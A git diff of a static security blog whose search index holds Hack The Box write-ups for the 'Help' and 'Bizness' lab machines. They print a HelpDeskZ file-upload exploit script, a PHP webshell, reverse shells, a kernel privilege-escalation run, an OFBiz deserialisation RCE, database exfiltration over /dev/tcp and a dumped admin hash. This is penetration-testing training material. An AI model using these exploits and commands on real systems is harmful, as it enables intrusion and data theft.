Math.round(scrollPercent * 100) + const percentage = (scrollPercentRounded > 100) ? 100 : (scrollPercentRounded <= 0) ? 0 : scrollPercentRounded + return percentage + }, + + addGlobalFn: (key, fn, name = false, parent = window) => { + const globalFn = parent.globalFn || {} + const keyObj = globalFn[key] || {} + + if (name && keyObj[name]) return + + name = name || Object.keys(keyObj).length + keyObj[name] = fn + globalFn[key] = keyObj + parent.globalFn = globalFn + }, + + addEventListenerPjax: (ele, event, fn, option = false) => { + ele.addEventListener(event, fn, option) + btf.addGlobalFn('pjax', () => { + ele.removeEventListener(event, fn, option) + }) + }, + + removeGlobalFnEvent: (key, parent = window) => { + const { globalFn = {} } = parent + const keyObj = globalFn[key] || {} + const keyArr = Object.keys(keyObj) + if (!keyArr.length) return + keyArr.forEach(i => { + keyObj[i]() + }) + delete parent.globalFn[key] + } +} diff --git a/link/index.html b/link/index.html new file mode 100644 index 000000000..efb0fb6e2 --- /dev/null +++ b/link/index.html @@ -0,0 +1,1047 @@ +link | h4m5t's Blog + + + + + + + + + + + + +
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/page/2/index.html b/page/2/index.html new file mode 100644 index 000000000..e8625b9ba --- /dev/null +++ b/page/2/index.html @@ -0,0 +1,346 @@ +h4m5t's Blog - love is good + + + + + + + + + + +
    hexo博客部署
    Mac下 安装BurpsuiteProfession
    博客迁移
    图片测试
    春招
    python安全开发
    html5新安全
    香农信息论
    bWAPP靶场记录
    Attacks on the RSA Cryptosystem
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/page/3/index.html b/page/3/index.html new file mode 100644 index 000000000..e6aa8eb29 --- /dev/null +++ b/page/3/index.html @@ -0,0 +1,440 @@ +h4m5t's Blog - love is good + + + + + + + + + + +
    network-security学习笔记
    DVWA靶场记录
    螺旋矩阵输出
    密码学笔记
    2021总结
    初等数论学习
    记一次360众测考核
    六月加油
    ISCC练武题
    企业渗透2
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/page/4/index.html b/page/4/index.html new file mode 100644 index 000000000..85427d79e --- /dev/null +++ b/page/4/index.html @@ -0,0 +1,426 @@ +h4m5t's Blog - love is good + + + + + + + + + + +
    企业渗透1
    VPN实验
    基于OSSEC的入侵检测
    绿盟安服面试(实习)
    360安全工程师面试(实习)
    渗透测试初学者笔记
    美团安全工程师面试(实习)
    网络侦察实验
    阿里安全工程师面试(实习)
    TCP/IP协议脆弱性分析
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/page/5/index.html b/page/5/index.html new file mode 100644 index 000000000..60a8e2114 --- /dev/null +++ b/page/5/index.html @@ -0,0 +1,425 @@ +h4m5t's Blog - love is good + + + + + + + + + + +
    leetcode15 - 3sum
    渗透Metasploitable2
    舆情分析-人物画像
    V&N-CTF
    云蜜罐
    关于WAF
    XXE漏洞
    字节跳动安全风控训练营总结
    Python命令行解析Argparse
    CDN的绕过
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/page/6/index.html b/page/6/index.html new file mode 100644 index 000000000..48d581252 --- /dev/null +++ b/page/6/index.html @@ -0,0 +1,381 @@ +h4m5t's Blog - love is good + + + + + + + + + + +
    CSP内容安全策略
    端口服务总结
    CMS指纹识别
    常见名词解释
    浅谈XSS漏洞
    PAT-1010
    2021,要加油哇
    渗透测试之信息收集
    网站技术栈识别工具-wappalyzer
    Docker入门
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/page/7/index.html b/page/7/index.html new file mode 100644 index 000000000..6051ef35c --- /dev/null +++ b/page/7/index.html @@ -0,0 +1,450 @@ +h4m5t's Blog - love is good + + + + + + + + + + +
    红队和渗透测试
    WAF bypass技巧
    记录前端学习--JavaScript
    Shell学习记录
    春秋杯新年欢乐赛
    记录前端学习--CSS
    OWASP TOP10
    浏览器的同源策略与跨站请求伪造(CSRF)
    web安全学习路线
    攻防世界
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/page/8/index.html b/page/8/index.html new file mode 100644 index 000000000..93a6142af --- /dev/null +++ b/page/8/index.html @@ -0,0 +1,462 @@ +h4m5t's Blog - love is good + + + + + + + + + + +
    常用的linux命令
    记录前端学习--HTML
    信息安全
    云安全
    记第一次挖矿
    黑客术语解释
    Chrome快捷键
    Windows快捷键
    Git
    解决Win10桌面图标小箭头问题
    avatar
    h4m5t
    人生得意需尽欢
    Follow Me
    公告
    Welcome!
    安全技术交流群753267126
    网安考研交流群244768497
    \ No newline at end of file diff --git a/search.xml b/search.xml new file mode 100644 index 000000000..9246f8659 --- /dev/null +++ b/search.xml @@ -0,0 +1,1853 @@ + + + + + + + HTB_Help + + /2024/09/18/HTB_Help/ + + 信息收集
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
    └─# echo "10.129.230.159" > ip.txt

    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
    └─# nmap -sC -sV $(cat ip.txt)
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 01:33 AEST
    Nmap scan report for 10.129.230.159
    Host is up (0.012s latency).
    Not shown: 997 closed tcp ports (reset)
    PORT STATE SERVICE VERSION
    22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    | 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
    | 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
    |_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
    80/tcp open http Apache httpd 2.4.18
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    |_http-title: Did not follow redirect to http://help.htb/
    3000/tcp open http Node.js Express framework
    |_http-title: Site doesn't have a title (application/json; charset=utf-8).
    Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 13.91 seconds

    目录爆破

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
    └─# dirsearch -u "http://help.htb" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
    _|. _ _ _ _ _ _|_ v0.4.3
    (_||| _) (/_(_|| (_| )

    Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
    Wordlist size: 220545

    Output File: /home/h4m5t/Desktop/HTB/Help/reports/http_help.htb/_24-09-24_12-53-02.txt

    Target: http://help.htb/

    [12:53:02] Starting:
    [12:53:03] 301 - 306B - /support -> http://help.htb/support/
    [12:53:04] 301 - 309B - /javascript -> http://help.htb/javascript/

    或者使用gobuster

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
    └─# gobuster dir -u http://help.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    ===============================================================
    Gobuster v3.6
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url: http://help.htb
    [+] Method: GET
    [+] Threads: 10
    [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes: 404
    [+] User Agent: gobuster/3.6
    [+] Timeout: 10s
    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    /support (Status: 301) [Size: 306] [--> http://help.htb/support/]
    /javascript (Status: 301) [Size: 309] [--> http://help.htb/javascript/]

    或使用ffuf, 只显示成功的请求,并将扫描的输出结果同时显示在终端并保存到 scan_results.txt 文件中。

    1
    ffuf -u http://help.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -mc 200,301,302 | tee scan_results.txt

    文件上传

    根据爆破的目录,找到一个上传点:

    1
    http://help.htb/support/

    上传phpshell提示文件类型不允许,但其实文件已经上传成功。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
    └─# searchsploit "HelpDeskZ"
    ------------------------------------------------ ---------------------------------
    Exploit Title | Path
    ------------------------------------------------ ---------------------------------
    HelpDeskZ 1.0.2 - Arbitrary File Upload | php/webapps/40300.py
    HelpDeskZ < 1.0.2 - (Authenticated) SQL Injecti | php/webapps/41200.py
    Helpdeskz v2.0.2 - Stored XSS | php/webapps/52068.txt
    ------------------------------------------------ ---------------------------------
    Shellcodes: No Results
    1
    2
    3
    4
    5
    6
    7
    8
    9
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
    └─# searchsploit -m php/webapps/40300.py
    Exploit: HelpDeskZ 1.0.2 - Arbitrary File Upload
    URL: https://www.exploit-db.com/exploits/40300
    Path: /usr/share/exploitdb/exploits/php/webapps/40300.py
    Codes: N/A
    Verified: False
    File Type: ASCII text
    Copied to: /home/h4m5t/Desktop/HTB/Help/40300.py

    优化修改后的Exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    import hashlib
    import time
    import requests
    import datetime
    import sys

    print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')

    if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} [nameOfUploadedFile]")
    sys.exit(1)

    # 基础 URL
    helpdeskzBaseUrl = 'http://help.htb/support/uploads/tickets/'
    fileName = sys.argv[1]

    # 获取当前时间,避免时区错误
    r = requests.get(helpdeskzBaseUrl)
    currentTime = int((datetime.datetime.strptime(r.headers['date'], '%a, %d %b %Y %H:%M:%S %Z') - datetime.datetime(1970, 1, 1)).total_seconds())

    # 尝试通过猜测时间来获得文件的实际URL
    for x in range(0, 500):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext.encode()).hexdigest() # 将字符串编码为字节
    url = helpdeskzBaseUrl + md5hash + '.php'
    # print(url)
    response = requests.head(url)
    if response.status_code == 200:
    print('Found!')
    print(url)
    sys.exit(0)

    print('Sorry, I did not find anything')

    上传文件phpshell.php

    1
    <?php system($_GET['cmd']); ?>

    上传后运行exp脚本,结果如下:

    1
    2
    3
    4
    5
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
    └─# python exploit.py phpshell.php
    Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
    Found!
    http://help.htb/support/uploads/tickets/13985c5cd0fa35388f56480d778564b5.php

    浏览器输入:

    1
    http://help.htb/support/uploads/tickets/13985c5cd0fa35388f56480d778564b5.php?cmd=id

    结果:

    1
    uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare) 

    RCE利用成功。

    下载一个功能更强大的php-reverse-shell

    1
    wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php

    修改php脚本中的IP为tun0的IP地址

    1
    $ip = '10.10.14.9';

    本地开启nc监听:

    1
    nc -lnvp 1234

    上传php-reverse-shell,并使用exp脚本:

    reverse_shell

    拿到user_flag:

    1
    2
    $ cat /home/help/user.txt
    2df113fbcfc65a5889ca9a2932054c9b

    Tips: There are at least two exploitable vulnerabilities in HelpDeskZ 1.0.2. There’s an authenticated SQL injection that will allow you to read a SHA1 hash from the database and crack it, allowing for SSH access. There’s also an arbirtray file upload vulnerability that will allow you to upload a webshell and get execution that way. Either way, you end up with a shell as the same user.

    稳定shell

    这个 shell 可能是非交互式的,无法使用完整的终端功能(例如不能使用箭头键或者 tab 自动补全)。为了稳定它,可以使用以下命令使 shell 更加交互式:

    1. 在目标机器的 shell 中,执行以下命令来获取伪终端:

      1
      python -c 'import pty; pty.spawn("/bin/bash")'

      如果目标机器上有 Python 3,使用:

      1
      python3 -c 'import pty; pty.spawn("/bin/bash")'

      一般情况下到这里就可以了,不用继续。

    2. 在攻击者端(Netcat session),按下 Ctrl + Z 将会话挂起。

      ==注意,需要先将kali的zsh切换为bash!==,如果使用zsh,可以将下面的命令链接起来:

      1
      stty raw -echo;fg
    3. 设置终端模式:

      1
      2
      stty raw -echo
      fg

      然后按 Enter 键,获得一个更稳定的交互 shell。

    4. 最后,在目标机器上执行以下命令,设置终端环境:

      1
      export TERM=xterm

    现在拥有了目标机器的 Shell,接下来可以进行以下操作:

    • 枚举系统信息

      • 识别操作系统版本、内核版本、用户信息等:
        1
        2
        3
        uname -a
        whoami
        id
    • 枚举权限

      • 查看当前用户的权限,检查是否可以获得更多的特权。
    • 提权

      • 如果当前 shell 权限有限,你可能想通过一些提权技术来获得 root 权限。你可以搜索系统是否存在已知的提权漏洞,或者利用 misconfiguration(如 SUID 位、错误配置的 Cron Jobs 等)进行提权。

    shell

    提权

    使用LinEnum.sh提权检查脚本(攻击机使用httpserver,目标机wget下载)

    1
    2
    3
    wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
    chmod +x LinEnum.sh
    ./LinEnum.sh | tee LinEnum-results.txt

    version 0.982

    • Example: ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t

    OPTIONS:

    • -k Enter keyword
    • -e Enter export location
    • -t Include thorough (lengthy) tests
    • -s Supply current user password to check sudo perms (INSECURE)
    • -r Enter report name
    • -h Displays this help text

    注意,如果需要要目标机下载log文件到本地进行分析,可以在目标机使用:

    1
    2
    3
    python -m SimpleHTTPServer 8080
    #or
    python3 -m http.server 8080

    或使用uname -a 查看系统版本

    1
    2
    help@help:/$ uname -a
    Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

    查到exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
    └─# searchsploit "4.4.0-116"
    --------------------------------------------------------- ---------------------------------
    Exploit Title | Path
    --------------------------------------------------------- ---------------------------------
    Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privil | linux/local/44298.c
    --------------------------------------------------------- ---------------------------------
    Shellcodes: No Results

    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Help]
    └─# searchsploit -m linux/local/44298.c
    Exploit: Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation
    URL: https://www.exploit-db.com/exploits/44298
    Path: /usr/share/exploitdb/exploits/linux/local/44298.c
    Codes: CVE-2017-16995
    Verified: False
    File Type: C source, ASCII text
    Copied to: /home/h4m5t/Desktop/HTB/Help/44298.c

    在kali启动http.server

    1
    python -m http.server

    在靶机wget下载文件并编译:

    1
    2
    help@help:/tmp$ wget http://10.10.14.9:8000/44298.c
    help@help:/tmp$ gcc 44298.c -o 44298

    运行,提权成功:

    1
    2
    3
    4
    5
    6
    help@help:/tmp$ ./44298 
    task_struct = ffff88003b502a00
    uidptr = ffff880037300784
    spawning root shell
    root@help:/tmp# cat /root/root.txt
    e0226c44b138c223f11148228acb9517

    参考

    https://www.youtube.com/watch?v=axxCpCTmu_k

    https://0xdf.gitlab.io/2019/06/08/htb-help.html#

    ]]>
    + + + + + HTB + + + + + + + HTB + + + +
    + + + + + HTB_Bizness + + /2024/09/15/HTB_Bizness/ + + 信息收集
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
    └─# nmap -p- $IP
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 20:43 AEST
    Nmap scan report for bizness.htb (10.129.232.1)
    Host is up (0.040s latency).
    Not shown: 65531 closed tcp ports (reset)
    PORT STATE SERVICE
    22/tcp open ssh
    80/tcp open http
    443/tcp open https
    41845/tcp open unknown
    Nmap done: 1 IP address (1 host up) scanned in 12.65 seconds
    1
    echo "10.129.232.1 bizness.htb" | sudo tee -a /etc/hosts

    目录扫描:

    1
    2
    3
    4
    5
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
    └─# dirsearch -u https://bizness.htb/

    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
    └─# feroxbuster -k -u https://bizness.htb

    根据扫描结果进入https://bizness.htb/content/ 页面

    自动跳转到https://bizness.htb/content/control/main 登陆界面

    查看右下角发现ERP系统版本:

    1
    Copyright (c) 2001-2024 The Apache Software Foundation. Powered by Apache OFBiz. Release 18.12

    查询到此版本的Apache OFBiz有RCE漏洞CVE-2023-49070

    反序列化

    下载工具ysoserial

    1
    wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

    创建exploit.py (此处会利用到ysoserial-all.jar)

    参考:https://github.com/abdoghazy2015/ofbiz-CVE-2023-49070-RCE-POC/blob/main/exploit.py

    运行报错,提示需要安装java-11-openjdk环境

    安装并切换java

    1
    sudo apt install openjdk-11-jdk
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
    └─# update-alternatives --config java
    There are 3 choices for the alternative java (providing /usr/bin/java).

    Selection Path Priority Status
    ------------------------------------------------------------
    * 0 /usr/lib/jvm/java-21-openjdk-arm64/bin/java 2111 auto mode
    1 /usr/lib/jvm/java-11-openjdk-arm64/bin/java 1111 manual mode
    2 /usr/lib/jvm/java-17-openjdk-arm64/bin/java 1711 manual mode
    3 /usr/lib/jvm/java-21-openjdk-arm64/bin/java 2111 manual mode

    Press <enter> to keep the current choice[*], or type selection number: 1
    update-alternatives: using /usr/lib/jvm/java-11-openjdk-arm64/bin/java to provide /usr/bin/java (java) in manual mode

    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
    └─# java --version
    openjdk 11.0.20-ea 2023-07-18
    OpenJDK Runtime Environment (build 11.0.20-ea+7-post-Debian-1)
    OpenJDK 64-Bit Server VM (build 11.0.20-ea+7-post-Debian-1, mixed mode)

    开启tcpdump

    1
    sudo tcpdump -i 2 icmp

    运行POC

    1
    2
    3
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
    └─# python3 exploit.py https://bizness.htb rce "ping -c 5 10.10.14.8"
    Not Sure Worked or not

    查看抓到的数据包:

    1
    2
    3
    4
    5
    6
    7
    8
    ┌──(root@kali)-[/home/h4m5t/Desktop]
    └─# tcpdump -i 2 icmp
    tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
    listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
    21:47:38.693694 tun0 In IP bizness.htb > 10.10.14.8: ICMP echo request, id 55668, seq 1, length 64
    21:47:38.693728 tun0 Out IP 10.10.14.8 > bizness.htb: ICMP echo reply, id 55668, seq 1, length 64
    21:47:39.695235 tun0 In IP bizness.htb > 10.10.14.8: ICMP echo request, id 55668, seq 2, length 64
    21:47:39.695274 tun0 Out IP 10.10.14.8 > bizness.htb: ICMP echo reply, id 55668, seq 2, length 64

    说明RCE成功,现在进行反向shell

    首先开启nc监听,再运行exp

    1
    nc -nlvp 4444
    1
    2
    3
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
    └─# python3 exploit.py https://bizness.htb shell 10.10.14.8:4444
    Not Sure Worked or not

    shell

    在用户目录下找到flag: /home/ofbiz/user.txt

    获取数据库derby中信息

    找到安全配置文件/opt/ofbiz/framework/security/config/security.properties

    查看用的哈希算法是默认的SHA-1 ,这是个好消息,因为SHA-1不安全,有可能破解。

    1
    2
    3
    4
    ofbiz@bizness:/opt/ofbiz/framework/security/config$ cat security.properties | grep hash
    <ecurity/config$ cat security.properties | grep hash
    # -- specify the type of hash to use for one-way encryption, will be passed to java.security.MessageDigest.getInstance() --
    password.encrypt.hash.type=SHA

    这就引出了下一个问题,即密码和其他信息在 Apache OFBiz 中的存储位置。经查询,默认情况下,OFBiz 使用名为 Apache Derby 的嵌入式 Java 数据库。

    经查询,数据库文件存储在/opt/ofbiz/runtime/data/derby

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ ls -la
    ls -la
    total 24
    drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Dec 21 2023 .
    drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 2023 ..
    -rw-r--r-- 1 ofbiz ofbiz-operator 2320 Sep 15 06:12 derby.log
    drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Sep 15 06:12 ofbiz
    drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Sep 15 06:12 ofbizolap
    drwxr-xr-x 5 ofbiz ofbiz-operator 4096 Sep 15 06:12 ofbiztenant

    使用derby-tools的ij命令连接数据库。命令示例:

    1
    CONNECT 'jdbc:derby:./ofbiz';

    从目标机器下载ofbiz文件到本地:

    在kali开启监听。

    1
    2
    3
    4
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
    └─# nc -nlvp 4444 > ofbiz.tar
    listening on [any] 4444 ...
    connect to [10.10.14.8] from (UNKNOWN) [10.129.232.1] 40826

    在目标机器上:

    1
    2
    3
    cd /opt/ofbiz/runtime/data/derby
    tar cvf ofbiz.tar ofbiz
    cat ofbiz.tar > /dev/tcp/10.10.14.8/4444

    为了连接到此数据库,需要先下载工具。

    1
    apt install derby-tools

    连接并查看表:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
    └─# ij
    ij version 10.14
    ij> CONNECT 'jdbc:derby:./ofbiz';
    ij> SHOW TABLES;
    TABLE_SCHEM |TABLE_NAME |REMARKS
    ------------------------------------------------------------------------
    SYS |SYSALIASES |
    SYS |SYSCHECKS |
    SYS |SYSCOLPERMS |
    SYS |SYSCOLUMNS |
    SYS |SYSCONGLOMERATES |
    SYS |SYSCONSTRAINTS |
    SYS |SYSDEPENDS |
    SYS |SYSFILES |
    SYS |SYSFOREIGNKEYS |
    SYS |SYSKEYS |
    SYS |SYSPERMS |
    SYS |SYSROLES |
    SYS |SYSROUTINEPERMS |
    SYS |SYSSCHEMAS |
    SYS |SYSSEQUENCES |
    SYS |SYSSTATEMENTS |
    SYS |SYSSTATISTICS |
    SYS |SYSTABLEPERMS |
    SYS |SYSTABLES |
    SYS |SYSTRIGGERS |
    SYS |SYSUSERS |
    SYS |SYSVIEWS |
    SYSIBM |SYSDUMMY1 |
    OFBIZ |ACCOMMODATION_CLASS |
    OFBIZ |ACCOMMODATION_MAP |
    OFBIZ |ACCOMMODATION_MAP_TYPE |
    OFBIZ |ACCOMMODATION_SPOT |
    OFBIZ |ACCTG_TRANS |

    找到关于用户信息的表:

    1
    2
    3
    4
    5
    6
    OFBIZ               |USER_LOGIN                    |                    
    OFBIZ |USER_LOGIN_HISTORY |
    OFBIZ |USER_LOGIN_PASSWORD_HISTORY |
    OFBIZ |USER_LOGIN_SECURITY_GROUP |
    OFBIZ |USER_LOGIN_SECURITY_QUESTION |
    OFBIZ |USER_LOGIN_SESSION |
    1
    SELECT * FROM OFBIZ.USER_LOGIN;
    1
    SELECT USER_LOGIN_ID,CURRENT_PASSWORD FROM OFBIZ.USER_LOGIN;

    结果如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ij> SELECT USER_LOGIN_ID, CURRENT_PASSWORD FROM OFBIZ.USER_LOGIN;

    USER_LOGIN_ID | CURRENT_PASSWORD
    -----------------------------------------------------
    system | NULL
    anonymous | NULL
    admin | $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

    3 rows selected

    分析源码 反向解码

    此处密码存储格式很奇怪,不能用传统的john或者Hashcat直接破解。

    机器上存在源码,查看哈希算法源码。

    1
    /opt/ofbiz/framework/base/src/main/java/org/apache/ofbiz/base/crypto/HashCrypt.java

    源码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    313
    314
    315
    316
    317
    318
    319
    320
    321
    322
    323
    324
    325
    326
    327
    328
    329
    330
    331
    332
    333
    334
    335
    336
    337
    338
    339
    340
    341
    342
    343
    344
    345
    346
    347
    348
    349
    350
    351
    352
    353
    354
    355
    356
    357
    358
    359
    360
    361
    362
    363
    364
    365
    366
    367
    368
    369
    370
    371
    372
    cat HashCrypt.java 
    /*******************************************************************************
    * Licensed to the Apache Software Foundation (ASF) under one
    * or more contributor license agreements. See the NOTICE file
    * distributed with this work for additional information
    * regarding copyright ownership. The ASF licenses this file
    * to you under the Apache License, Version 2.0 (the
    * "License"); you may not use this file except in compliance
    * with the License. You may obtain a copy of the License at
    *
    * http://www.apache.org/licenses/LICENSE-2.0
    *
    * Unless required by applicable law or agreed to in writing,
    * software distributed under the License is distributed on an
    * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
    * KIND, either express or implied. See the License for the
    * specific language governing permissions and limitations
    * under the License.
    *******************************************************************************/
    package org.apache.ofbiz.base.crypto;

    import java.io.UnsupportedEncodingException;
    import java.security.MessageDigest;
    import java.security.NoSuchAlgorithmException;
    import java.security.SecureRandom;
    import java.security.spec.InvalidKeySpecException;
    import java.util.Arrays;

    import javax.crypto.SecretKeyFactory;
    import javax.crypto.spec.PBEKeySpec;

    import org.apache.commons.codec.binary.Base64;
    import org.apache.commons.codec.binary.Hex;
    import org.apache.commons.lang.RandomStringUtils;
    import org.apache.ofbiz.base.util.Debug;
    import org.apache.ofbiz.base.util.GeneralRuntimeException;
    import org.apache.ofbiz.base.util.StringUtil;
    import org.apache.ofbiz.base.util.UtilIO;
    import org.apache.ofbiz.base.util.UtilProperties;
    import org.apache.ofbiz.base.util.UtilValidate;

    /**
    * Utility class for doing SHA-1/PBKDF2 One-Way Hash Encryption
    *
    */
    public class HashCrypt {

    public static final String module = HashCrypt.class.getName();
    public static final String CRYPT_CHAR_SET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./";

    private static final String PBKDF2_SHA1 ="PBKDF2-SHA1";
    private static final String PBKDF2_SHA256 ="PBKDF2-SHA256";
    private static final String PBKDF2_SHA384 ="PBKDF2-SHA384";
    private static final String PBKDF2_SHA512 ="PBKDF2-SHA512";
    private static final int PBKDF2_ITERATIONS = UtilProperties.getPropertyAsInteger("security.properties", "password.encrypt.pbkdf2.iterations", 10000);

    public static MessageDigest getMessageDigest(String type) {
    try {
    return MessageDigest.getInstance(type);
    } catch (NoSuchAlgorithmException e) {
    throw new GeneralRuntimeException("Could not load digestor(" + type + ")", e);
    }
    }

    public static boolean comparePassword(String crypted, String defaultCrypt, String password) {
    if (crypted.startsWith("{PBKDF2")) {
    return doComparePbkdf2(crypted, password);
    } else if (crypted.startsWith("{")) {
